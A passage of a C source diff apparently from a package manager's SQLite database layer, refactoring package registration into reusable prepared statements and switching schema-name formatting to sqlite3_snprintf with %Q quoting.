		sqlite3_snprintf(sizeof(sql), sql, basesql, "main", "main");

-
	return (load_val(db->sqlite, pkg, sql, PKG_LOAD_CATEGORIES, pkg_addcategory, PKG_CATEGORIES));
+
	return (load_val(db->sqlite, pkg, sql, PKG_LOAD_CATEGORIES,
+
	    pkg_addcategory, PKG_CATEGORIES));
}

int
@@ -1254,19 +1370,19 @@ pkgdb_load_user(struct pkgdb *db, struct pkg *pkg)
{
	/*struct pkg_user *u = NULL;
	struct passwd *pwd = NULL;*/
-
	int ret;
-

-
	const char sql[] = ""
+
	int		ret;
+
	const char	sql[] = ""
		"SELECT users.name "
		"FROM pkg_users, users "
		"WHERE package_id = ?1 "
-
		"AND user_id = users.id "
+
			"AND user_id = users.id "
		"ORDER by name DESC";

	assert(db != NULL && pkg != NULL);
	assert(pkg->type == PKG_INSTALLED);

-
	ret = load_val(db->sqlite, pkg, sql, PKG_LOAD_USERS, pkg_adduser, PKG_USERS);
+
	ret = load_val(db->sqlite, pkg, sql, PKG_LOAD_USERS,
+
	    pkg_adduser, PKG_USERS);

	/* TODO get user uidstr from local database */
/*	while (pkg_users(pkg, &u) == EPKG_OK) {
@@ -1282,21 +1398,21 @@ pkgdb_load_user(struct pkgdb *db, struct pkg *pkg)
int
pkgdb_load_group(struct pkgdb *db, struct pkg *pkg)
{
-
	struct pkg_group *g = NULL;
-
	struct group * grp = NULL;
-
	int ret;
-

-
	const char sql[] = ""
+
	struct pkg_group	*g = NULL;
+
	struct group		*grp = NULL;
+
	int			 ret;
+
	const char		 sql[] = ""
		"SELECT groups.name "
		"FROM pkg_groups, groups "
		"WHERE package_id = ?1 "
-
		"AND group_id = groups.id "
+
			"AND group_id = groups.id "
		"ORDER by name DESC";

	assert(db != NULL && pkg != NULL);
	assert(pkg->type == PKG_INSTALLED);

-
	ret = load_val(db->sqlite, pkg, sql, PKG_LOAD_GROUPS, pkg_addgroup, PKG_GROUPS);
+
	ret = load_val(db->sqlite, pkg, sql, PKG_LOAD_GROUPS,
+
	    pkg_addgroup, PKG_GROUPS);

	while (pkg_groups(pkg, &g) == EPKG_OK) {
		grp = getgrnam(pkg_group_name(g));
@@ -1311,33 +1427,34 @@ pkgdb_load_group(struct pkgdb *db, struct pkg *pkg)
int
pkgdb_load_shlib(struct pkgdb *db, struct pkg *pkg)
{
-
	char sql[BUFSIZ];
-
	const char *reponame = NULL;
-
	const char *basesql = ""
-
			"SELECT name "
-
			"FROM '%s'.pkg_shlibs, '%s'.shlibs AS s "
-
			"WHERE package_id = ?1 "
+
	char		 sql[BUFSIZ];
+
	const char	*reponame = NULL;
+
	const char	*basesql = ""
+
		"SELECT name "
+
		"FROM %Q.pkg_shlibs, %Q.shlibs AS s "
+
		"WHERE package_id = ?1 "
			"AND shlib_id = s.id "
-
			"ORDER by name DESC";
+
		"ORDER by name DESC";

	assert(db != NULL && pkg != NULL);

	if (pkg->type == PKG_REMOTE) {
		assert(db->type == PKGDB_REMOTE);
		pkg_get(pkg, PKG_REPONAME, &reponame);
-
		snprintf(sql, sizeof(sql), basesql, reponame, reponame);
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, reponame, reponame);
	} else
-
		snprintf(sql, sizeof(sql), basesql, "main", "main");
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, "main", "main");

-
	return (load_val(db->sqlite, pkg, sql, PKG_LOAD_SHLIBS, pkg_addshlib, PKG_SHLIBS));
+
	return (load_val(db->sqlite, pkg, sql, PKG_LOAD_SHLIBS,
+
	    pkg_addshlib, PKG_SHLIBS));
}

int
pkgdb_load_scripts(struct pkgdb *db, struct pkg *pkg)
{
-
	sqlite3_stmt *stmt = NULL;
-
	int ret;
-
	const char sql[] = ""
+
	sqlite3_stmt	*stmt = NULL;
+
	int		 ret;
+
	const char	 sql[] = ""
		"SELECT script, type "
		"FROM scripts "
		"WHERE package_id = ?1";
@@ -1356,12 +1473,12 @@ pkgdb_load_scripts(struct pkgdb *db, struct pkg *pkg)
	sqlite3_bind_int64(stmt, 1, pkg->rowid);

	while ((ret = sqlite3_step(stmt)) == SQLITE_ROW) {
-
		pkg_addscript(pkg, sqlite3_column_text(stmt, 0), sqlite3_column_int(stmt, 1));
+
		pkg_addscript(pkg, sqlite3_column_text(stmt, 0),
+
		    sqlite3_column_int(stmt, 1));
	}
	sqlite3_finalize(stmt);

	if (ret != SQLITE_DONE) {
-
		pkg_list_free(pkg, PKG_SCRIPTS);
		ERROR_SQLITE(db->sqlite);
		return (EPKG_FATAL);
	}
@@ -1373,13 +1490,13 @@ pkgdb_load_scripts(struct pkgdb *db, struct pkg *pkg)
int
pkgdb_load_options(struct pkgdb *db, struct pkg *pkg)
{
-
	sqlite3_stmt *stmt = NULL;
-
	int ret = EPKG_OK;
-
	const char *reponame;
-
	char sql[BUFSIZ];
-
	const char *basesql = ""
+
	sqlite3_stmt	*stmt = NULL;
+
	int		 ret = EPKG_OK;
+
	const char	*reponame;
+
	char		 sql[BUFSIZ];
+
	const char	*basesql = ""
		"SELECT option, value "
-
		"FROM '%s'.options "
+
		"FROM %Q.options "
		"WHERE package_id = ?1";

	assert(db != NULL && pkg != NULL);
@@ -1390,9 +1507,9 @@ pkgdb_load_options(struct pkgdb *db, struct pkg *pkg)
	if (pkg->type == PKG_REMOTE) {
		assert(db->type == PKGDB_REMOTE);
		pkg_get(pkg, PKG_REPONAME, &reponame);
-
		snprintf(sql, sizeof(sql), basesql, reponame);
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, reponame);
	} else {
-
		snprintf(sql, sizeof(sql), basesql, "main");
+
		sqlite3_snprintf(sizeof(sql), sql, basesql, "main");
	}

	if (sqlite3_prepare_v2(db->sqlite, sql, -1, &stmt, NULL) != SQLITE_OK) {
@@ -1404,7 +1521,7 @@ pkgdb_load_options(struct pkgdb *db, struct pkg *pkg)

	while ((ret = sqlite3_step(stmt)) == SQLITE_ROW) {
		pkg_addoption(pkg, sqlite3_column_text(stmt, 0),
-
					  sqlite3_column_text(stmt, 1));
+
		    sqlite3_column_text(stmt, 1));
	}
	sqlite3_finalize(stmt);

@@ -1421,11 +1538,11 @@ pkgdb_load_options(struct pkgdb *db, struct pkg *pkg)
int
pkgdb_load_mtree(struct pkgdb *db, struct pkg *pkg)
{
-
	const char sql[] = ""
+
	const char	sql[] = ""
		"SELECT m.content "
		"FROM mtree AS m, packages AS p "
		"WHERE m.id = p.mtree_id "
-
			" AND p.id = ?1;";
+
			"AND p.id = ?1;";

	assert(db != NULL && pkg != NULL);
	assert(pkg->type == PKG_INSTALLED);
@@ -1433,85 +1550,249 @@ pkgdb_load_mtree(struct pkgdb *db, struct pkg *pkg)
	return (load_val(db->sqlite, pkg, sql, PKG_LOAD_MTREE, pkg_set_mtree, -1));
}

-
int
-
pkgdb_register_pkg(struct pkgdb *db, struct pkg *pkg, int complete)
-
{
-
	struct pkg *pkg2 = NULL;
-
	struct pkg_dep *dep = NULL;
-
	struct pkg_file *file = NULL;
-
	struct pkg_dir *dir = NULL;
-
	struct pkg_script *script = NULL;
-
	struct pkg_option *option = NULL;
-
	struct pkg_category *category = NULL;
-
	struct pkg_license *license = NULL;
-
	struct pkg_user *user = NULL;
-
	struct pkg_group *group = NULL;
-
	struct pkg_shlib *shlib = NULL;
-
	struct pkgdb_it *it = NULL;
-

-
	sqlite3 *s;
-
	sqlite3_stmt *stmt = NULL;
-
	sqlite3_stmt *stmt2 = NULL;
-

-
	int ret;
-
	int retcode = EPKG_FATAL;
-
	int64_t package_id;
-

-
	const char sql_mtree[] = "INSERT OR IGNORE INTO mtree(content) VALUES(?1);";
-
	const char sql_dirs[] = "INSERT OR IGNORE INTO directories(path) VALUES(?1);";
-
	const char sql_pkg[] = ""
+
typedef enum _sql_prstmt_index {
+
	MTREE = 0,
+
	PKG,
+
	DEPS_UPDATE,
+
	DEPS,
+
	FILES,
+
	DIRS1,
+
	DIRS2,
+
	CATEGORY1,
+
	CATEGORY2,
+
	LICENSES1,
+
	LICENSES2,
+
	USERS1,
+
	USERS2,
+
	GROUPS1,
+
	GROUPS2,
+
	SCRIPTS,
+
	OPTIONS,
+
	SHLIBS1,
+
	SHLIBS2,
+
	PRSTMT_LAST,
+
} sql_prstmt_index;
+

+
static sql_prstmt sql_prepared_statements[PRSTMT_LAST] = {
+
	[MTREE] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO mtree(content) VALUES(?1)",
+
		"T",
+
	},
+
	[PKG] = {
+
		NULL,
		"INSERT OR REPLACE INTO packages( "
			"origin, name, version, comment, desc, message, arch, "
-
			"maintainer, www, prefix, flatsize, automatic, licenselogic, "
-
			"mtree_id, infos, time) "
-
		"VALUES( ?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, "
-
		"(SELECT id from mtree where content = ?14), ?15, now());";
-
	const char sql_dep[] = ""
+
			"maintainer, www, prefix, flatsize, automatic, "
+
			"licenselogic, mtree_id, infos, time) "
+
		"VALUES( ?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, "
+
		"?13, (SELECT id from mtree where content = ?14), ?15, now())",
+
		"TTTTTTTTTTIIITT",
+
	},
+
	[DEPS_UPDATE] = {
+
		NULL,
+
		"UPDATE deps SET name=?1, version=?2 WHERE origin=?3;",
+
		"TTT",
+
	},
+
	[DEPS] = {
+
		NULL,
		"INSERT INTO deps (origin, name, version, package_id) "
-
		"VALUES (?1, ?2, ?3, ?4);";
-
	const char sql_file[] = ""
+
		"VALUES (?1, ?2, ?3, ?4)",
+
		"TTTI",
+
	},
+
	[FILES] = {
+
		NULL,
		"INSERT INTO files (path, sha256, package_id) "
-
		"VALUES (?1, ?2, ?3);";
-
	const char sql_script[] = ""
-
		"INSERT INTO scripts (script, type, package_id) "
-
		"VALUES (?1, ?2, ?3);";
-
	const char sql_option[] = ""
-
		"INSERT INTO options (option, value, package_id) "
-
		"VALUES (?1, ?2, ?3);";
-
	const char sql_dir[] = ""
+
		"VALUES (?1, ?2, ?3)",
+
		"TTI",
+
	},
+
	[DIRS1] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO directories(path) VALUES(?1)",
+
		"T",
+
	},
+
	[DIRS2] = {
+
		NULL,
		"INSERT INTO pkg_directories(package_id, directory_id, try) "
		"VALUES (?1, "
-
		"(SELECT id FROM directories WHERE path = ?2), ?3);";
-
	const char sql_cat[] = "INSERT OR IGNORE INTO categories(name) VALUES(?1);";
-
	const char sql_category[] = ""
+
		"(SELECT id FROM directories WHERE path = ?2), ?3)",
+
		"ITI",
+
	},
+
	[CATEGORY1] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO categories(name) VALUES(?1)",
+
		"T",
+
	},
+
	[CATEGORY2] = {
+
		NULL,
		"INSERT INTO pkg_categories(package_id, category_id) "
-
		"VALUES (?1, (SELECT id FROM categories WHERE name = ?2));";
-
	const char sql_lic[] = "INSERT OR IGNORE INTO licenses(name) VALUES(?1);";
-
	const char sql_license[] = ""
+
		"VALUES (?1, (SELECT id FROM categories WHERE name = ?2))",
+
		"IT",
+
	},
+
	[LICENSES1] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO licenses(name) VALUES(?1)",
+
		"T",
+
	},
+
	[LICENSES2] = {
+
		NULL,
		"INSERT INTO pkg_licenses(package_id, license_id) "
-
		"VALUES (?1, (SELECT id FROM licenses WHERE name = ?2));";
-
	const char sql_user[] = "INSERT OR IGNORE INTO users(name) VALUES(?1);";
-
	const char sql_users[] = ""
+
		"VALUES (?1, (SELECT id FROM licenses WHERE name = ?2))",
+
		"IT",
+
	},
+
	[USERS1] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO users(name) VALUES(?1)",
+
		"T",
+
	},
+
	[USERS2] = {
+
		NULL,
		"INSERT INTO pkg_users(package_id, user_id) "
-
		"VALUES (?1, (SELECT id FROM users WHERE name = ?2));";
-
	const char sql_group[] = "INSERT OR IGNORE INTO groups(name) VALUES(?1);";
-
	const char sql_groups[] = ""
+
		"VALUES (?1, (SELECT id FROM users WHERE name = ?2))",
+
		"IT",
+
	},
+
	[GROUPS1] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO groups(name) VALUES(?1)",
+
		"T",
+
	},
+
	[GROUPS2] = {
+
		NULL,
		"INSERT INTO pkg_groups(package_id, group_id) "
-
		"VALUES (?1, (SELECT id FROM groups WHERE name = ?2));";
-
	const char sql_shlib[] = "INSERT OR IGNORE INTO shlibs(name) VALUES(?1);";
-
	const char sql_shlibs[] = ""
+
		"VALUES (?1, (SELECT id FROM groups WHERE name = ?2))",
+
		"IT",
+
	},
+
	[SCRIPTS] = {
+
		NULL,
+
		"INSERT INTO scripts (script, type, package_id) "
+
		"VALUES (?1, ?2, ?3)",
+
		"TII",
+
	},
+
	[OPTIONS] = {
+
		NULL,
+
		"INSERT INTO options (option, value, package_id) "
+
		"VALUES (?1, ?2, ?3)",
+
		"TTI",
+
	},
+
	[SHLIBS1] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO shlibs(name) VALUES(?1)",
+
		"T",
+
	},
+
	[SHLIBS2] = {
+
		NULL,
		"INSERT INTO pkg_shlibs(package_id, shlib_id) "
-
		"VALUES (?1, (SELECT id FROM shlibs WHERE name = ?2))";
-
	const char sql_deps_update[] = ""
-
		"UPDATE deps SET NAME=?1 , VERSION=?2 WHERE ORIGIN=?3;";
+
		"VALUES (?1, (SELECT id FROM shlibs WHERE name = ?2))",
+
		"IT",
+
	},
+
	/* PRSTMT_LAST */
+
};
+

+
static int
+
prstmt_initialize(struct pkgdb *db)
+
{
+
	sql_prstmt_index	 i;
+
	sqlite3			*sqlite;
+
	int			 ret;

-
	const char *mtree, *origin, *name, *version, *name2, *version2;
-
	const char *comment, *desc, *message, *infos;
-
	const char *arch, *maintainer, *www, *prefix;
+
	assert(db != NULL);

-
	bool automatic;
-
	int64_t flatsize;
-
	lic_t licenselogic;
+
	sqlite = db->sqlite;
+

+
	for (i = 0; i < PRSTMT_LAST; i++)
+
	{
+
		ret = sqlite3_prepare_v2(sqlite, SQL(i), -1, &STMT(i), NULL);
+
		if (ret != SQLITE_OK) {
+
			ERROR_SQLITE(sqlite);
+
			return (EPKG_FATAL);
+
		}
+
	}
+
	db->prstmt_initialized = true;
+

+
	return (EPKG_OK);
+
}
+

+
static int
+
run_prstmt(sql_prstmt_index s, ...)
+
{
+
	int		 retcode;	/* Returns SQLITE error code */
+
	va_list		 ap;
+
	sqlite3_stmt	*stmt;
+
	int		 i;
+
	const char	*argtypes;
+

+
	stmt = STMT(s);
+
	argtypes = sql_prepared_statements[s].argtypes;
+

+
	sqlite3_reset(stmt);
+

+
	va_start(ap, s);
+

+
	for (i = 0; argtypes[i] != '\0'; i++)
+
	{
+
		switch (argtypes[i]) {
+
		case 'T':
+
			sqlite3_bind_text(stmt, i + 1, va_arg(ap, const char*),
+
					  -1, SQLITE_STATIC);
+
			break;
+
		case 'I':
+
			sqlite3_bind_int64(stmt, i + 1, va_arg(ap, int64_t));
+
			break;
+
		}
+
	}
+

+
	va_end(ap);
+

+
	retcode = sqlite3_step(stmt);
+

+
	return (retcode);
+
}
+

+
static void
+
prstmt_finalize(struct pkgdb *db)
+
{
+
	sql_prstmt_index	i;
+

+
	for (i = 0; i < PRSTMT_LAST; i++)
+
	{
+
		if (STMT(i) != NULL) {
+
			sqlite3_finalize(STMT(i));
+
			STMT(i) = NULL;
+
		}
+
	}
+
	db->prstmt_initialized = false;
+
	return;
+
}
+

+

+
int
+
pkgdb_register_pkg(struct pkgdb *db, struct pkg *pkg, int complete)
+
{
+
	struct pkg		*pkg2 = NULL;
+
	struct pkg_dep		*dep = NULL;
+
	struct pkg_file		*file = NULL;
+
	struct pkg_dir		*dir = NULL;
+
	struct pkg_option	*option = NULL;
+
	struct pkg_category	*category = NULL;
+
	struct pkg_license	*license = NULL;
+
	struct pkg_user		*user = NULL;
+
	struct pkg_group	*group = NULL;
+
	struct pkgdb_it		*it = NULL;
+

+
	sqlite3			*s;
+

+
	int			 ret;
+
	int			 retcode = EPKG_FATAL;
+
	int64_t			 package_id;
+

+
	const char		*mtree, *origin, *name, *version, *name2;
+
	const char		*version2, *comment, *desc, *message, *infos;
+
	const char		*arch, *maintainer, *www, *prefix;
+

+
	bool			 automatic;
+
	lic_t			 licenselogic;
+
	int64_t			 flatsize;
+
	int64_t			 i;

	assert(db != NULL);

@@ -1520,438 +1801,316 @@ pkgdb_register_pkg(struct pkgdb *db, struct pkg *pkg, int complete)
		return (EPKG_FATAL);
	}

+
	if (!db->prstmt_initialized && prstmt_initialize(db) != EPKG_OK)
+
		return (EPKG_FATAL);
+

	s = db->sqlite;

	if (!complete && sql_exec(s, "BEGIN;") != EPKG_OK)
		return (EPKG_FATAL);

-
	/* insert mtree record if any */
-
	if (sqlite3_prepare_v2(s, sql_mtree, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-

-
	pkg_get(pkg, PKG_MTREE, &mtree, PKG_ORIGIN, &origin, PKG_VERSION, &version,
-
	    PKG_COMMENT, &comment, PKG_DESC, &desc, PKG_MESSAGE, &message,
-
	    PKG_ARCH, &arch, PKG_MAINTAINER, &maintainer,
-
	    PKG_WWW, &www, PKG_PREFIX, &prefix, PKG_FLATSIZE, &flatsize,
-
	    PKG_AUTOMATIC, &automatic, PKG_LICENSE_LOGIC, &licenselogic,
-
	    PKG_NAME, &name, PKG_INFOS, &infos);
+
	pkg_get(pkg,
+
		PKG_MTREE,	&mtree,
+
		PKG_ORIGIN,	&origin,
+
		PKG_VERSION,	&version,
+
		PKG_COMMENT,	&comment,
+
		PKG_DESC,	&desc,
+
		PKG_MESSAGE,	&message,
+
		PKG_ARCH,	&arch,
+
		PKG_MAINTAINER,	&maintainer,
+
		PKG_WWW,	&www,
+
		PKG_PREFIX,	&prefix,
+
		PKG_FLATSIZE,	&flatsize,
+
		PKG_AUTOMATIC,	&automatic,
+
		PKG_LICENSE_LOGIC, &licenselogic,
+
		PKG_NAME,	&name,
+
		PKG_INFOS,	&infos);

-
	sqlite3_bind_text(stmt, 1, mtree, -1, SQLITE_STATIC);
+
	/*
+
	 * Insert mtree record
+
	 */

-
	if ((ret = sqlite3_step(stmt)) != SQLITE_DONE) {
+
	if (run_prstmt(MTREE, mtree) != SQLITE_DONE) {
		ERROR_SQLITE(s);
		goto cleanup;
	}
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;

-
	/* Insert package record */
-
	if (sqlite3_prepare_v2(s, sql_pkg, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-
	sqlite3_bind_text(stmt, 1, origin, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 2, name, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 3, version, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 4, comment, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 5, desc, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 6, message, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 7, arch, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 8, maintainer, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 9, www,  -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 10, prefix, -1, SQLITE_STATIC);
-
	sqlite3_bind_int64(stmt, 11, flatsize);
-
	sqlite3_bind_int(stmt, 12, automatic);
-
	sqlite3_bind_int64(stmt, 13, licenselogic);
-
	sqlite3_bind_text(stmt, 14, mtree, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 15, infos, -1, SQLITE_STATIC);
-

-
	if ((ret = sqlite3_step(stmt)) != SQLITE_DONE) {
+
	/*
+
	 * Insert package record
+
	 */
+
	ret = run_prstmt(PKG, origin, name, version, comment, desc, message,
+
	    arch, maintainer, www, prefix, flatsize, (int64_t)automatic,
+
	    (int64_t)licenselogic, mtree, infos);
+
	if (ret != SQLITE_DONE) {
		ERROR_SQLITE(s);
		goto cleanup;
	}

	package_id = sqlite3_last_insert_rowid(s);
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;

	/*
	 * update dep informations on packages that depends on the insert
	 * package
	 */

-
	if (sqlite3_prepare_v2(s, sql_deps_update, -1, &stmt, NULL) != SQLITE_OK) {
+
	if (run_prstmt(DEPS_UPDATE, name, version, origin) != SQLITE_DONE) {
		ERROR_SQLITE(s);
		goto cleanup;
	}

-
	sqlite3_bind_text(stmt, 1, name, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 2, version, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 3, origin, -1, SQLITE_STATIC);
-

-
	if ((ret = sqlite3_step(stmt)) != SQLITE_DONE) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;
-

	/*
	 * Insert dependencies list
	 */

-
	if (sqlite3_prepare_v2(s, sql_dep, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-

	while (pkg_deps(pkg, &dep) == EPKG_OK) {
-
		sqlite3_bind_text(stmt, 1, pkg_dep_get(dep, PKG_DEP_ORIGIN), -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt, 2, pkg_dep_get(dep, PKG_DEP_NAME), -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt, 3, pkg_dep_get(dep, PKG_DEP_VERSION), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt, 4, package_id);
-

-
		if ((ret = sqlite3_step(stmt)) != SQLITE_DONE) {
+
		if (run_prstmt(DEPS, pkg_dep_origin(dep),
+
		    pkg_dep_name(dep), pkg_dep_version(dep),
+
		    package_id) != SQLITE_DONE) {
			ERROR_SQLITE(s);
			goto cleanup;
		}
-
		sqlite3_reset(stmt);
	}
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;

	/*
	 * Insert files.
	 */

-
	if (sqlite3_prepare_v2(s, sql_file, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-

	while (pkg_files(pkg, &file) == EPKG_OK) {
-
		sqlite3_bind_text(stmt, 1, pkg_file_get(file, PKG_FILE_PATH), -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt, 2, pkg_file_get(file, PKG_FILE_SUM), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt, 3, package_id);
+
		const char	*pkg_path = pkg_file_path(file);
+
		const char	*pkg_sum  = pkg_file_cksum(file);

-
		if ((ret = sqlite3_step(stmt)) != SQLITE_DONE) {
-
			if (ret == SQLITE_CONSTRAINT) {
-
				if ((it = pkgdb_query_which(db, pkg_file_get(file, PKG_FILE_PATH))) == NULL) {
-
					ERROR_SQLITE(s);
-
				}
-
				if (( ret = pkgdb_it_next(it, &pkg2, PKG_LOAD_BASIC)) == EPKG_OK) {
-
					pkg_get(pkg2, PKG_NAME, &name2, PKG_VERSION, &version2);
-
					pkg_emit_error("%s-%s conflicts with %s-%s"
-
					    " (installs files into the same place). "
-
					    " Problematic file: %s",
-
					    name, version, name2, version2,
-
					    pkg_file_get(file, PKG_FILE_PATH));
-
					pkg_free(pkg2);
-
				} else {
-
					ERROR_SQLITE(s);
-
				}
-
				pkgdb_it_free(it);
-
			} else {
-
				ERROR_SQLITE(s);
-
			}
+
		ret = run_prstmt(FILES, pkg_path, pkg_sum, package_id);
+
		if (ret == SQLITE_DONE)
+
			continue;
+
		if (ret != SQLITE_CONSTRAINT) {
+
			ERROR_SQLITE(s);
			goto cleanup;
		}
-
		sqlite3_reset(stmt);
+
		it = pkgdb_query_which(db, pkg_path);
+
		if (it == NULL) {
+
			ERROR_SQLITE(s);
+
			goto cleanup;
+
		}
+
		ret = pkgdb_it_next(it, &pkg2, PKG_LOAD_BASIC);
+
		if (ret != EPKG_OK) {
+
			pkgdb_it_free(it);
+
			ERROR_SQLITE(s);
+
			goto cleanup;
+
		}
+
		pkg_get(pkg2, PKG_NAME, &name2, PKG_VERSION, &version2);
+
		pkg_emit_error("%s-%s conflicts with %s-%s"
+
		    " (installs files into the same place). "
+
		    " Problematic file: %s",
+
		    name, version, name2, version2, pkg_path);
+
		pkg_free(pkg2);
+
		pkgdb_it_free(it);
+
		goto cleanup;
	}
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;

	/*
	 * Insert dirs.
	 */

-
	if (sqlite3_prepare_v2(s, sql_dirs, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-

-
	if (sqlite3_prepare_v2(s, sql_dir, -1, &stmt2, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-

	while (pkg_dirs(pkg, &dir) == EPKG_OK) {
-
		sqlite3_bind_text(stmt, 1, pkg_dir_path(dir), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt2, 1, package_id);
-
		sqlite3_bind_text(stmt2, 2, pkg_dir_path(dir), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt2, 3, pkg_dir_try(dir));
-

-
		if ((ret = sqlite3_step(stmt)) != SQLITE_DONE) {
+
		if (run_prstmt(DIRS1, pkg_dir_path(dir)) != SQLITE_DONE) {
			ERROR_SQLITE(s);
			goto cleanup;
		}
-
		if ((ret = sqlite3_step(stmt2)) != SQLITE_DONE) {
-
			if ( ret == SQLITE_CONSTRAINT) {
-
				pkg_emit_error("A package is already providing this directory: %s", pkg_dir_path(dir));
+
		if ((ret = run_prstmt(DIRS2, package_id, pkg_dir_path(dir),
+
		    pkg_dir_try(dir))) != SQLITE_DONE) {
+
			if (ret == SQLITE_CONSTRAINT) {
+
				pkg_emit_error("Another package is already "
+
				    "providing directory: %s",
+
				    pkg_dir_path(dir));
			} else
				ERROR_SQLITE(s);
			goto cleanup;
		}
-
		sqlite3_reset(stmt2);
-
		sqlite3_reset(stmt);
	}
-
	sqlite3_finalize(stmt2);
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;
-
	stmt2 = NULL;

	/*
	 * Insert categories
	 */

-
	if (sqlite3_prepare_v2(s, sql_category, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-
	if (sqlite3_prepare_v2(s, sql_cat, -1, &stmt2, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-

	while (pkg_categories(pkg, &category) == EPKG_OK) {
-
		sqlite3_bind_text(stmt2, 1, pkg_category_name(category), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt, 1, package_id);
-
		sqlite3_bind_text(stmt, 2, pkg_category_name(category), -1, SQLITE_STATIC);
-

-
		if ((ret = sqlite3_step(stmt2)) != SQLITE_DONE) {
-
			if (ret == SQLITE_CONSTRAINT) {
-
				pkg_emit_error("sqlite: constraint violation on categories.name: %s",
-
						pkg_category_name(category));
-
			} else
-
				ERROR_SQLITE(s);
-
			goto cleanup;
-
		}
-
		if (( ret = sqlite3_step(stmt)) != SQLITE_DONE) {
+
		const char	*pkg_cat = pkg_category_name(category);
+
		ret = run_prstmt(CATEGORY1, pkg_cat);
+
		if (ret == SQLITE_DONE)
+
			ret = run_prstmt(CATEGORY2, package_id, pkg_cat);
+
		if (ret != SQLITE_DONE) {
			ERROR_SQLITE(s);
			goto cleanup;
		}
-
		sqlite3_reset(stmt);
-
		sqlite3_reset(stmt2);
	}
-
	sqlite3_finalize(stmt2);
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;
-
	stmt2 = NULL;

	/*
	 * Insert licenses
	 */
-
	if (sqlite3_prepare_v2(s, sql_lic, -1, &stmt2, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-
	if (sqlite3_prepare_v2(s, sql_license, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}

	while (pkg_licenses(pkg, &license) == EPKG_OK) {
-
		sqlite3_bind_text(stmt2, 1, pkg_license_name(license), -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt, 1, package_id);
-
		sqlite3_bind_text(stmt, 2, pkg_license_name(license), -1, SQLITE_STATIC);
-

-
		if ((ret = sqlite3_step(stmt2)) != SQLITE_DONE) {
-
			if (ret == SQLITE_CONSTRAINT) {
-
				pkg_emit_error("sqlite: constraint violation on licenses.name: %s",
-
						pkg_license_name(license));
-
			} else
-
				ERROR_SQLITE(s);
-
			goto cleanup;
-
		}
-
		if (( ret = sqlite3_step(stmt)) != SQLITE_DONE) {
+
		if (run_prstmt(LICENSES1, pkg_license_name(license))
+
		    != SQLITE_DONE
+
		    ||
+
		    run_prstmt(LICENSES2, package_id, pkg_license_name(license))
+
		    != SQLITE_DONE) {
			ERROR_SQLITE(s);
			goto cleanup;
		}
-
		sqlite3_reset(stmt);
-
		sqlite3_reset(stmt2);
	}
-
	sqlite3_finalize(stmt2);
-
	sqlite3_finalize(stmt);
-
	stmt = NULL;
-
	stmt2 = NULL;

	/*
	 * Insert users
	 */
-
	if (sqlite3_prepare_v2(s, sql_user, -1, &stmt, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}
-
	if (sqlite3_prepare_v2(s, sql_users, -1, &stmt2, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(s);
-
		goto cleanup;
-
	}

	while (pkg_users(pkg, &user) == EPKG_OK) {
-
